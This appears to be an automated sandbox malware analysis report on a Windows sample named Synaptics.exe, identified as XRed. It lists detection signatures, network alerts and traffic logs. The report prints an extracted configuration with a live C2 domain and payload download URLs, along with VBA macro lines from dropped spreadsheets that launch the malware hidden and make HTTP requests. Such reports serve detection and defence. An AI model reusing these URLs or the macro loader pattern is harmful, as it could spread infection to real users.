Windows Analysis Report
Synaptics.exe

Overview

General Information

Sample name:	Synaptics.exe
Analysis ID:	1569493
MD5:	45011233f584317d3450a81d260c2a15
SHA1:	ae512c745c512cb52112e6369741a14584a1fd95
SHA256:	b0d2a065d7a88c63b0664cd41dc439559ea004fdda06aa6ad3c2ea6cbcf2c408
Tags:	exeuser-malrpt
Infos:

Detection

XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

Creates a process in suspended mode (likely to inject code)

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Classification

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Synaptics.exe	Avira: detected
Source: Synaptics.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SSLLibrary.dl

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\BJZFPPWAPT\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\BJZFPPWAPT\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: Synaptics.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\Documents\BJZFPPWAPT\~$cache1	ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: Synaptics.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.2% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\BJZFPPWAPT\~$cache1	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Synaptics.exe

Joe Sandbox ML: detected

Uses 32bit PE files

Source: Synaptics.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50100 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50177 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.1:443 -> 192.168.2.5:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50221 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.97:443 -> 192.168.2.5:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.97:443 -> 192.168.2.5:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.19.238:443 -> 192.168.2.5:50267 version: TLS 1.2

Source: Synaptics.exe, 00000000.00000000.2044290453.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000000.00000000.2044290453.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000000.00000000.2044290453.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000000.00000003.2045302246.000000000069F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe	Binary or memory string: [autorun]
Source: Synaptics.exe	Binary or memory string: [autorun]
Source: Synaptics.exe	Binary or memory string: autorun.inf
Source: ~$cache1.2.dr	Binary or memory string: [autorun]
Source: ~$cache1.2.dr	Binary or memory string: [autorun]
Source: ~$cache1.2.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\Synaptics.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Synaptics.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.5:49712 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49714 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49708 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49729 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49715 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49748 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49789 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49707 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49759 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49779 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49817 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49736 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49805 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49778 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49791 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49839 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49851 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49883 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49908 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49927 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49897 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49928 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49866 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49818 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49867 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49896 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49852 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49728 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49840 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49943 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49906 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49761 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49881 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49737 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49750 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49944 -> 172.217.19.238:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.5:49806 -> 172.217.19.238:443

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50009 -> 13.107.246.63:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50048 -> 13.107.246.63:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: IApGaAjb.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: EOWRVPQCCS.xlsm.2.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
